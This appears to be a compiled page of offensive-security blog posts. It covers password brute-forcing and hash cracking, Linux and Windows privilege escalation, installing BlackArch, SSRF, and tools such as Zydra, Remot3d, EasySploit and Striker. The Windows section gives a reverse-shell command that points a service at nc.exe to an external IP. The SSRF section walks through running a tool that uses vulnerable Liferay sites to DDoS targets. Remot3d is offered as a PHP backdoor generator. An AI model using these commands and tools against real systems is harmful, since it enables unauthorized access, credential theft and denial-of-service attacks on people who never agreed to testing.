Crack Password Cheat Sheet | How to crack and brute force passwords

Cracking password protected PDF files
$ pdfcrack -f <pdf file> -w <wordlist>

Cracking Web-Application Passwords
Get Request:
$ hydra -L <usernames list> -P <passwords list> <target ip> http-get <path to admin panel>
Post Request:
$ hydra -L <usernames list> -P <passwords list> <target ip> http-form-post "<Login Page>:<Request Body with ^USER^ and ^PWD^>:<Error Message>"
e.g: hydra -L <usernames list> -P <passwords list> <target ip> http-form-post "/dvwa/login.php:username=^USER^&password^PASS^:<Error Message>"

Wordpress:
$ wpscan --url <target ip/wp-login> -U <usernames list> -P <passwords list>

Cracking SSH Passwords
$ hydra -L <username list> -P <passwords list> 10.10.10.180 ssh 
$ ncrack -U <usernames list> -P <passwords list> ssh://10.10.10.180 
Cracking FTP Passwords 
$ hydra -L <usernames list> -P <passwords list> 10.10.10.180 ftp 
$ ncrack -U <usernames list> -P <passwords list> ftp://10.10.10.180
Cracking Passwords when Service uses non-standard port
$ hydra -L <username list> -P <passwords list> -s <port> 10.10.10.180 ssh 
$ ncrack -U <usernames list> -P <passwords list> 10.10.10.180:<port> 


Identifying Hash Types: 
$ hashid <file containing hashes> 
$ hashid -m <file containing hashes> # Shows hashcat mode 
$ hashid -j <file containing hashes> # Shows john format 

Converting encrypted files into a format supported by John: 
$ unshadow <etc_passwd file> <etc_shadow_file> > unshadowed.file 
$ ssh2john.py <encrypted SSH key file> > SSHkey.john 
$ keepass2john <kdb file> > keepass_hash.john 
$ rar2john <encrypted rar file> > rar file hash.john 
$ 7z2john <ecnrypted 7z file> > 7zfilehash.john 

Cracking Hashes Using John The Ripper: 
$ john --list=formats # outputs all supported format 
$ john <hash file> --wordlist=<path to wordlist> 
$ john <hash file> --show (shows cracked hashes) 
$ john <hash file> --wordlist=<path to wordlist> --format=<hash format> 
$ john <hash file> --incremental # uses ASCII incremental mode 
$ john <hash file> --incremental=digits # uses digit incremental
# mode : 0 to 99999999999999999999 



Craching Hashes Using HashCat: 
$ hashcat -m <hash type mode> -a <attack mode> <hash file> <path to wordlist> 

HashCat Attack Modes (-a):
0 : Straight 
1 : Combination 
3 : Brute-force 

HashCat Hash Types (-m): 
Linux OS Hashes:
500 : MD5 ($1$)
3200 : Blowfish ($2$)
7400 : SHA256 ($5)
1800 : SHA512 ($6$)

Windows OS Hashes:
1000 : NTLM 
3000 : LM 

MacOS Hashes:
122 : MacOS v10.4,10.5,10.6 
1722 : MacOS v10.7 
7100 : MacOS v10.8+ 

Application hashes 
900 : MD4 
0 : MD5 
100 : SHAl 
1400 : SHA2-256 
1700 : SHA2-512 
17400 : SHA3-256 
17600 : SHA3-512 

Network Protocol Hashes: 
7500 : Kerberos 5 
10200 : CRAM-MD5 
11100 : PostGreSQL CRAM (MD5)
11200 : MySQL CRAM (SHA1) 
16500 : Json Web Token 

Salted Hashes:
10 : MD5 ($pass.$salt)
20 : MD5 ($salt.$pass) 
110 : SHAl ($pass.$salt) 
1410 : SHA256 ($pass.$salt) 
1420 : SHA256 ($salt$pass)
1710 : SHA512 ($pass.$salt) 
1720 : SHA512 ($salt.$pass) 

Read More

Tips and Cheat Sheet useful for Privilege Escalation

Linux:
Sudo Rights, we can find files as root in the user’s shell with:
$ sudo -l
Get shell: /bin/bash -i
with file as root in user, we can add that line in file then run. We will open the root shell

Find anything with SUID / SGID permission:
$ find / -perm -4000 -ls 2>/dev/null
$ find / -user root -perm -4000 2>/dev/null
$ find / -perm -2000 2>/dev/null

Writeable folders
$ find / -writable -type d 2>/dev/null
$ find / -perm -222 -type d 2>/dev/null
$ find / -perm -o w -type d 2>/dev/null

Find any writable file owned by root:
$ find / -perm -002 -user root -type f -not-path “/proc/*” 2>/dev/null

Identify the kernel version and distribution:
$ uname -a
$ cat /etc/issue
$ cat /etc/*-release
$ cat /etc/lsb-release
$ cat /etc/redhat-release
$ lsb_release
Use "sendpage" and "dirtycow" both kernel exploits to do privilege escalation

GTFOBins is a curated list of Unix binaries that can be exploited by an attacker to bypass local security restrictions:
https://gtfobins.github.io

There are some tool to auto find signature can exploitable in victim machine like: LinEnum, Pspy, LinPEAS
https://github.com/rebootuser/LinEnum
https://github.com/DominicBreuker/pspy
https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite

Windows:

Check services with write access:
> accesschk -a *
https://docs.microsoft.com/en-us/sysinternals/downloads/accesschk
Service exploit E.g:
Reconfig service with exploit command or reverse shell:
> sc.exe config usosvc binPath="C:\tmp\nc.exe 10.10.15.107 4444 -e powershell.exe"
Then restart service:
> sc.exe stop <service name>
> sc.exe start <service name>

Permissions on specific folders:
> icacls "C:\Program Files\*" 2>nul | findstr "(F)" | findstr "Everyone"
> icacls "C:\Program Files (x86)\*" 2>nul | findstr "(F)" | findstr "Everyone"

Look for backups files SAM.bak.

Check Credentials mananger:
> dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\ cmdkey /list
> dir C:\Users\username\AppData\Local\Microsoft\Credentials\

What tokens we have 
> whoami /priv

What we can access?
> whoami /groups

Some useful tool:
https://github.com/Hackplayers/PsCabesha-tools

updating...

Most of PrivEsc way is find signature/version then go to find the way to exploit like CVE or at https://www.exploit-db.com/

READ MORE: 
Windows pentest cheat sheet
Useful Pentest cheat sheet/tools

Read More

BlackArch in Arch? The way to install BlackArch tools in an Arch distribution

BlackArch Linux is also an Arch Linux-based distribution, but focuses on penetration testing and is geared toward security researchers and independent hackers alike.
BlackArch has an impressive 2,200+ tools indexed on its website. Kali, currently has about 365 tools. It's fair to say BlackArch provides a more significant collection of software for curious penetration testers to experiment with.

This article will be a quick guide for anyone who wants to weaponize their user-friendly Arch distribution like Arch, Arco or Archlabs,... by adding some penetration testing applications to their operating system. This will be an excellent experience for experiment with BlackArch tools. In another way, it also helps beginners who want to use BlackArch on a Desktop Environment with nice-looking and easier to use.

BlackArch Linux is compatible with existing/normal Arch installations. It acts as an unofficial user repository. Below you will find instructions on how to install BlackArch in this manner.
First, make sure you have an Arch VM, boot it and following below.
BlackArch provides a handy installer script designed for manually importing BlackArch tool repositories, download the strap.sh:
curl -O https://blackarch.org/strap.sh
Give the strap.sh script permissions to run: chmod +x strap.sh
Run the strap.sh installer script: sudo ./strap.sh
sudo pacman -Syu

Installing every single tool may take an incredibly long time to download. All of the tools can be installed individually or in bulk by category.
To see the blackarch categories, run: sudo pacman -Sg | grep blackarch

To install a category of tools, run: sudo pacman -S blackarch-<category>
To install all of the tools, run: sudo pacman -S blackarch

All of the tools take about 30GB or greater so make sure that your disk space ready for it.

You also can install BlackArch tools in the Debian or Ubuntu distributions. It just differences in commands, e.g:

Installing packages:

apt-get install <package name>

pacman -S <package name>

Removing packages:

apt-get remove <package name>

pacman -Rs <package name>

Searching repositories:

apt-cache search <package name>

pacman -Ss <package name>

Upgrading the system:

apt-get update && apt-get upgrade

pacman -Syu

Removing old and unneeded dependencies:

apt-get autoremove

pacman -Qdtq

Displaying package information:

apt-cache show <package name>

pacman -Si <package name>

Which distribution is right for me?

The debate of which penetration distribution is the best may never be settled. The truth is, there probably isn't a single perfect distribution capable of satisfying the individual needs of every security researcher out there. We all have different standards, preferences, areas of expertise, and varying degrees of experience.

Thanks BlackArch, Null-Byte

Read More

What is Open Redirect vulnerability? XML-RPC and SSRF | DDoS attack abuses SSRF

Open Redirect Vulnerability:
Open redirect is a security flaw in an app or a web page that causes it to fail to properly authenticate URLs. 

When apps and web pages have requests for URLs, they are supposed to verify that those URLs are part of the intended page’s domain. Open redirect is a failure in that process that makes it possible for attackers to steer users to malicious third-party websites. Sites or apps that fail to authenticate URLs can become a vector for malicious redirects to convincing fake sites for identity theft or sites that install malware.


XML-RPC:

XML-RPC is a cross platform protocol for executing remote procedure calls and exchanging information between servers via the internet.
It's remote procedure calling using HTTP as the transport and XML as the encoding. XML-RPC is designed to be as simple as possible, while allowing complex data structures to be transmitted, processed and returned.

SSRF:
In a SSRF attack the attacker can change a parameter used on the web application to create or control requests from the vulnerable server.

Since the attacker cannot send direct requests to the victim’s server, because they are blocked by a firewall, to scan an internal network the attacker has to:
- Send a request to the vulnerable web server that abuses the SSRF vulnerability.
- The web server makes a request to the victim’s server which sits behind the firewall.
- The victim’s server responds with the data.
- If the specific SSRF vulnerability permits it, the data is sent back to the attacker.

When information in a web application has to be retrieved from an external resource, which could also be internal services, such as a RSS feed from another website, server side requests are used to fetch the resource and include it in the web application. For example, a developer can use a URL such as https://example.com/feed.php?url=externalsite.com/feed/ to retrieve the remote feed. If the attacker is able to change the url parameter to localhost, then he is able to view local resources hosted on the server, making it vulnerable to Server Side Request Forgery.

Detecting SSRF: In order to detect Server-Side Request Forgery (SSRF) automatically, we’ll need to rely on an intermediary service since the detection of such a vulnerability requires an out-of-band and time-delay vector.


DDoS attack:
With the first data and a list of Liferay sites exist SSRF/XML-RPC vulnerability is placed in the zombie.txt directory.
The tool in python uses Multithread to continuously post an xml code to send the request to the Ddos object for each source url.
Requires Python 2.7
Modules require:
pip install scapy
pip install requests
python liferay.py -u <url> -l zombie.txt
Enter! and DDoS attack has been started!

To view the map of the address of the attack, we use Ufonet by copying the ip addresses into the MapAttack folder
Require:
pip install tornado
pip install pyjade
pip install geoip2
Change the absolute path to the MapAttack directory at the webroot variable (line 35, 36 and 39) in the server.py file
Run with: python server.py
Then, access to address http://127.0.0.1:8080/ 

Get tool Here.

Read More

How to crack Linux shadow password file - Zydra

The /etc/shadow file stores actual password in encrypted format (more like the hash of the password) for user’s account with additional properties related to user password. Basically, it stores secure user account information.

Zydra is a file password recovery tool and Linux shadow file cracker. It uses the dictionary search or Brute force method for cracking passwords.

Supported Files
RAR Files
Legacy ZIP Files
PDF Files
Linux Shadow Files (zydra can find all the user’s password in the linux shadow file one after the other)

Require:
Python >= 3.3
debian-based linux distro
qpdf and unrar packages. Install it: sudo apt-get install qpdf unrar
some python modules: zipfile, rarfile, crypt, pyfiglet, py-term 
pip3 install zipfile rarfile crypt pyfiglet py-term 
notice: rar,zip and pdf files must have an extension, shadow files does not need an extension.

Features
Cracking files password using two methods: 1. dictionary method 2. brute force method
In the brute force method, you can specify the min length and max length of the passwords.
In the brute force method, you can specify the type of characters that may be used in the password.
There is a percent progress bar showing how much of the process has been performed.
Error handling.
One of the most important features of Zydra is the multiprocessing feature that speeds up the program. For example if you have 8 CPU cores, Zydra will use all of them for processing at the same time.

Download:
git clone https://github.com/hamedA2/Zydra.git 
now, we can use Zydra without install
python3 Zydra.py -h to get help

Example:
crack a zip file password and use rockyou.txt dictionary
python3 Zydra.py –f file.zip –d rockyou.txt

Brute force search to find the password for the users in the shadow file 
Minimum length of password is 4 and maximum length is 4 and we try to find passwords that are composed of numbers and symbols letters. 
python3 Zydra.py –f /etc/shadow –b digits,symbols –m 4 –x 4

Read More

Important Network Penetration Testing Tools

Penetration Testing tools help in identifying security weaknesses in a network, server or web application. These tools are very useful since they allow you to identify the "unknown vulnerabilities" in the software and networking applications that can cause a security breach. Vulnerability Assessment and Penetration Testing - VAPT Tools attack your system within the network and outside the network as if a hacker would attack it. If unauthorized access is possible, the system has to be corrected.
Tools list below that covers Performing Penetration testing Operation in all the Environment.

Scanning / Pentesting:
OpenVAS – OpenVAS is a framework of several services and tools offering a comprehensive and powerful vulnerability scanning and vulnerability management solution.
Metasploit Framework – one fo the best Network Security Tools for developing and executing exploit code against a remote target machine. Other important sub-projects include the Opcode Database, shellcode archive and related research.
pig – A Linux packet crafting tool.
scapy – Scapy: the python-based interactive packet manipulation program & library.
Pompem – Pompem is an open source Network Security Tools, which is designed to automate the search for exploits in major databases. Developed in Python, has a system of advanced search, thus facilitating the work of pentesters and ethical hackers. In its current version, performs searches in databases: Exploit-db, 1337day, Packetstorm Security…
Nmap – Nmap is a free and open source utility for network discovery and security auditing.
Zenmap - Zenmap is the official Nmap Security Scanner software. It is a multi-platform free and open source application. It is easy to use for beginners but also offers advanced features for experienced users.
Acunetix - It is a web vulnerability scanner targeted at web applications. It is expensive tool compare to others and provides facility like cross site scripting testing, PCI compliance reports, SQL injection, etc.
Retina - It is more like a vulnerability management tools than a pre-testing tool
Nessus - It concentrates in compliance checks, sensitive data searches, IPs scan, website scanning, etc.
Nikto - Detect vulnerabilities in web servers, web applications and management scripts.

Monitoring / Logging
justniffer – Justniffer is a network protocol analyzer that captures network traffic and produces logs in a customized way, can emulate Apache web server log files, track response times and extract all “intercepted” files from the HTTP traffic.
httpry – httpry is a specialized packet sniffer designed for displaying and logging HTTP traffic. It is not intended to perform analysis itself, but to capture, parse, and log the traffic for later analysis. It can be run in real-time displaying the traffic as it is parsed, or as a daemon process that logs to an output file. It is written to be as lightweight and flexible as possible, so that it can be easily adaptable to different applications.
ngrep – ngrep strives to provide most of GNU grep’s common features, applying them to the network layer. ngrep is a pcap-aware tool that will allow you to specify extended regular or hexadecimal expressions to match against data payloads of packets. It currently recognizes IPv4/6, TCP, UDP, ICMPv4/6, IGMP and Raw across Ethernet, PPP, SLIP, FDDI, Token Ring and null interfaces, and understands BPF filter logic in the same fashion as more common packet sniffing tools, such as tcpdump and snoop.
passivedns – one of the best Network Security Tools to collect DNS records passively to aid Incident handling, Network Security Monitoring (NSM) and general digital forensics. PassiveDNS sniffs traffic from an interface or reads a pcap-file and outputs the DNS-server answers to a log file. PassiveDNS can cache/aggregate duplicate DNS answers in-memory, limiting the amount of data in the logfile without loosing the essens in the DNS answer.
sagan – Sagan uses a ‘Snort like’ engine and rules to analyze logs (syslog/event log/snmptrap/netflow/etc).
Node Security Platform – Similar feature set to Snyk, but free in most cases, and very cheap for others.
ntopng – Ntopng is a network traffic probe that shows the network usage, similar to what the popular top Unix command does.
Fibratus – Fibratus is a tool for exploration and tracing of the Windows kernel. It is able to capture the most of the Windows kernel activity – process/thread creation and termination, file system I/O, registry, network activity, DLL loading/unloading and much more. Fibratus has a very simple CLI which encapsulates the machinery to start the kernel event stream collector, set kernel event filters or run the lightweight Python modules called filaments.

IDS / IPS / Host IDS / Host IPS
Snort – Snort is a free and open source network intrusion prevention system (NIPS) and network intrusion detection system (NIDS)created by Martin Roesch in 1998. Snort is now developed by Sourcefire, of which Roesch is the founder and CTO. In 2009, Snort entered InfoWorld’s Open Source Hall of Fame as one of the “greatest [pieces of] open source software of all time”.
Bro – Bro is a powerful network analysis framework that is much different from the typical IDS you may know.
OSSEC – Comprehensive Open Source HIDS. Not for the faint of heart. Takes a bit to get your head around how it works. Performs log analysis, file integrity checking, policy monitoring, rootkit detection, real-time alerting and active response. It runs on most operating systems, including Linux, MacOS, Solaris, HP-UX, AIX and Windows. Plenty of reasonable documentation. Sweet spot is medium to large deployments.
Suricata – Suricata is a high performance Network IDS, IPS and Network Security Monitoring engine. Open Source and owned by a community run non-profit foundation, the Open Information Security Foundation (OISF). Suricata is developed by the OISF and its supporting vendors.
Security Onion – Security Onion is a Linux distro for intrusion detection, network security monitoring, and log management. It’s based on Ubuntu and contains Snort, Suricata, Bro, OSSEC, Sguil, Squert, Snorby, ELSA, Xplico, NetworkMiner, and many other security tools. The easy-to-use Setup wizard allows you to build an army of distributed sensors for your enterprise in minutes!
sshwatch – IPS for SSH similar to DenyHosts written in Python. It also can gather information about the attacker during the attack in a log.
Stealth – File integrity checker that leaves virtually no sediment. Controller runs from another machine, which makes it hard for an attacker to know that the file system is being checked at defined pseudo random intervals over SSH. Highly recommended for small to medium deployments.
AIEngine – AIEngine is a next-generation interactive/programmable Python/Ruby/Java/Lua packet inspection engine with capabilities of learning without any human intervention, NIDS(Network Intrusion Detection System) functionality, DNS domain classification, network collector, network forensics and many others.
Denyhosts – Thwart SSH dictionary based attacks and brute force attacks.
Fail2Ban – Scans log files and takes action on IPs that show malicious behavior.
SSHGuard – A software to protect services in addition to SSH, written in C
Lynis – an open source security auditing tool for Linux/Unix.

Honey Pot / Honey Net
HoneyPy – HoneyPy is a low to medium interaction honeypot. It is intended to be easy to: deploy, extend functionality with plugins, and apply custom configurations.
Dionaea – Dionaea is meant to be a nepenthes successor, embedding python as scripting language, using libemu to detect shellcodes, supporting ipv6 and tls.
Conpot – ICS/SCADA Honeypot. Conpot is a low interactive server side Industrial Control Systems honeypot designed to be easy to deploy, modify and extend. By providing a range of common industrial control protocols we created the basics to build your own system, capable to emulate complex infrastructures to convince an adversary that he just found a huge industrial complex
Amun – Amun Python-based low-interaction Honeypot.
Glastopf – Glastopf is a Honeypot which emulates thousands of vulnerabilities to gather data from attacks targeting web applications. The principle behind it is very simple: Reply the correct response to the attacker exploiting the web application.
Kippo – Kippo is a medium interaction SSH honeypot designed to log brute force attacks and, most importantly, the entire shell interaction performed by the attacker.
Kojoney – Kojoney is a low level interaction honeypot that emulates an SSH server. The daemon is written in Python using the Twisted Conch libraries.
HonSSH – HonSSH is a high-interaction Honey Pot solution. HonSSH will sit between an attacker and a honey pot, creating two separate SSH connections between them.
Bifrozt – Bifrozt is a NAT device with a DHCP server that is usually deployed with one NIC connected directly to the Internet and one NIC connected to the internal network. What differentiates Bifrozt from other standard NAT devices is its ability to work as a transparent SSHv2 proxy between an attacker and your honeypot.
HoneyDrive – HoneyDrive is the premier honeypot Linux distro. It is a virtual appliance (OVA) with Xubuntu Desktop 12.04.4 LTS edition installed. It contains over 10 pre-installed and pre-configured honeypot software packages such as Kippo SSH honeypot, Dionaea and Amun malware honeypots, Honeyd low-interaction honeypot, Glastopf web honeypot and Wordpot, Conpot SCADA/ICS honeypot, Thug and PhoneyC honeyclients and more.
Cuckoo Sandbox – Cuckoo Sandbox is an Open Source software for automating analysis of suspicious files. To do so it makes use of custom components that monitor the behavior of the malicious processes while running in an isolated environment.

Full Packet Capture / Forensic
tcpflow – tcpflow is a program that captures data transmitted as part of TCP connections (flows), and stores the data in a way that is convenient for protocol analysis and debugging.
Xplico – The goal of Xplico is extract from an internet traffic capture the applications data contained. For example, from a pcap file Xplico extracts each email (POP, IMAP, and SMTP protocols), all HTTP contents, each VoIP call (SIP), FTP, TFTP, and so on. Xplico isn’t a network protocol analyzer. Xplico is an open source Network Forensic Analysis Tool (NFAT).
Moloch – Moloch is an open source, large scale IPv4 packet capturing (PCAP), indexing and database system. A simple web interface is provided for PCAP browsing, searching, and exporting. APIs are exposed that allow PCAP data and JSON-formatted session data to be downloaded directly. Simple security is implemented by using HTTPS and HTTP digest password support or by using apache in front. Moloch is not meant to replace IDS engines but instead work along side them to store and index all the network traffic in standard PCAP format, providing fast access. Moloch is built to be deployed across many systems and can scale to handle multiple gigabits/sec of traffic.
OpenFPC – OpenFPC is a set of tools that combine to provide a lightweight full-packet network traffic recorder & buffering system. It’s design goal is to allow non-expert users to deploy a distributed network traffic recorder on COTS hardware while integrating into existing alert and log management tools.
Dshell – Dshell is a network forensic analysis framework. Enables rapid development of plugins to support the dissection of network packet captures.
stenographer – Stenographer is a packet capture solution which aims to quickly spool all packets to disk, then provide simple, fast access to subsets of those packets.

Sniffer based Network Security Tools
wireshark – Wireshark is a free and open-source packet analyzer. It is used for network troubleshooting, analysis, software and communications protocol development, and education. Wireshark is very similar to tcpdump, but has a graphical front-end, plus some integrated sorting and filtering options.
Netsniff-ng – netsniff-ng is a free Linux networking toolkit, a Swiss army knife for your daily Linux network plumbing if you will. Its gain of performance is reached by zero-copy mechanisms, so that on packet reception and transmission the kernel does not need to copy packets from kernel space to user space and vice versa.
Live HTTP headers – Live HTTP headers is a free firefox addon to see your browser requests in real time. It shows the entire headers of the requests and can be used to find the security loopholes in implementations.
SIEM – Network Security Tools
Prelude – Prelude is a Universal “Security Information & Event Management” (SIEM) system. Prelude collects, normalizes, sorts, aggregates, correlates and reports all security-related events independently of the product brand or license giving rise to such events; Prelude is “agentless”.
OSSIM – OSSIM provides all of the features that a security professional needs from a SIEM offering – event collection, normalization, and correlation.
FIR – Fast Incident Response, a cybersecurity incident management platform.

VPN
OpenVPN – OpenVPN is an open source software application that implements virtual private network (VPN) techniques for creating secure point-to-point or site-to-site connections in routed or bridged configurations and remote access facilities. It uses a custom security protocol that utilizes SSL/TLS for key exchange.

Fast Packet Processing
DPDK – DPDK is a set of libraries and drivers for fast packet processing.
PFQ – PFQ is a functional networking framework designed for the Linux operating system that allows efficient packets capture/transmission (10G and beyond), in-kernel functional processing and packets steering across sockets/end-points.
PF_RING – PF_RING is a new type of network socket that dramatically improves the packet capture speed.
PF_RING ZC (Zero Copy) – PF_RING ZC (Zero Copy) is a flexible packet processing framework that allows you to achieve 1/10 Gbit line rate packet processing (both RX and TX) at any packet size. It implements zero copy operations including patterns for inter-process and inter-VM (KVM) communications.
PACKET_MMAP/TPACKET/AF_PACKET – It’s fine to use PACKET_MMAP to improve the performance of the capture and transmission process in Linux.
Netmap – Netmap is a framework for high speed packet I/O. Together with its companion VALE software switch, it is implemented as a single kernel module and available for FreeBSD, Linux and now also Windows.

Firewall based Network Security Tools
PfSense – Firewall and Router FreeBSD distribution.
OPNsense – is an open source, easy-to-use and easy-to-build FreeBSD based firewall and routing platform. OPNsense includes most of the features available in expensive commercial firewalls, and more in many cases. It brings the rich feature set of commercial offerings with the benefits of open and verifiable sources.
Fwknop – Protects ports via Single Packet Authorization in your firewall.

Anti-Spam
SpamAssassin – A powerful and popular email spam filter employing a variety of detection technique.

Read More

What is Shodan? - The most scary Search Engine tool

Shodan.io is the search engine for everything on the internet. While Google and other search engines index only the web, Shodan indexes pretty much everything else — web cams, water treatment facilities, medical, yachts, devices, traffic lights, wind turbines, license plate readers, smart TVs, refrigerators, anything and everything you can possibly imagine that's plugged into the internet

Some enterprises block Shodan from crawling their network, and Shodan honors such requests. However, attackers don't need Shodan to find vulnerable devices connected to your network. Blocking Shodan might save you from momentary embarrassment, but it is unlikely to improve your security posture.

It works by scanning the entire Internet and parsing the banners that are returned by various devices. Using that information, Shodan can tell you things like what web server (and version) is most popular, or how many anonymous FTP servers exist in a particular location, and what make and model the device may be.

Only one keyword searching for "default password" will reveal a multitude of system control devices and printers, the server uses "admin" as the username and "1234" as the main password. Many networked systems don't even have passwords - all you need is a web browser to connect them.

Here are the basic search filters you can use:

•     city: find devices in a particular city
•     country: find devices in a particular country
•     geo: you can pass it coordinates
•     hostname: find values that match the hostname
•     net: search based on an IP or /x CIDR
•     os: search based on operating system
•     port: find particular ports that are open
•     before/after: find results within a timeframe
•     

Source: hackers-arise

Read More

Remot3d - An simple Exploit for PHP language

Remot3d is a simple tool created for large pentesters, security researchers, but also just for the pleasure to exploit a systems/servers that runs a PHP program language.

An Easy Way To Exploiting!!
A tool made to generate backdoor to control and exploit a server where the server runs the PHP (Hypertext Preprocessor) program.

Features:

• Create backdoor for windows or linux servers (can run php file)
• Bypass disable function's with imap_open vulnerability
• Bypass read file /etc/passwd with cURL or Unique Logic Script's
• Generating Backdoor and can be remoted on Tools
• etc

Install and Run:
git clone https://github.com/KeepWannabe/Remot3d
cd Remot3d
bash setup.sh
bash Remot3d.sh

Read More

EasySploit - Metasploit automation EASIER and FASTER

Windows –> test.exe (payload and listener)
Android –> test.apk (payload and listener)
Linux –> test.py (payload and listener)
MacOS –> test.jar (payload and listener)
Web –> test.php (payload and listener)
Scan if a target is vulnerable to ms17_010
Exploit Windows 7/2008 x64 ONLY by IP (ms17_010_eternalblue)
Exploit Windows Vista/XP/2000/2003 ONLY by IP (ms17_010_psexec)
Exploit Windows with a link (HTA Server)

Install and run EasySploit: 
git clone https://github.com/KALILINUXTRICKSYT/easysploit.git
cd easysploit
bash installer.sh

Read More

Striker - Offensive Information and Vulnerability

Striker 2.0 is still in prototype phase, which means it's not intended to be used by regular users. It has been made public for contrbutions to make the development faster.

Just supply a domain name to Striker and it will automatically do the following for you:
- Check and Bypass Cloudflare
- Retrieve Server and Powered by Headers
- Fingerprint the operating system of Web Server
- Detect CMS (197+ CMSs are supported)
- Launch WPScan if target is using WordPress
- Retrieve robots.txt
- Whois lookup
- Check if the target is a honeypot
- Port Scan with banner grabbing
- Dumps all kind of DNS records
- Generate a map for visualizing the attack surface
- Gather Emails related to the target
- Find websites hosted on the same web server
- Find hosts using google
- Crawl the website for URLs having parameters
- SQLi scan using online implemention of SQLMap (takes < 3 min.)
- Basic XSS scanning

Get and run Striker:
https://github.com/s0md3v/Striker.git
pip install -r requirements.txt
python striker.py [domain]


e.g: python striker.py example.com

Read More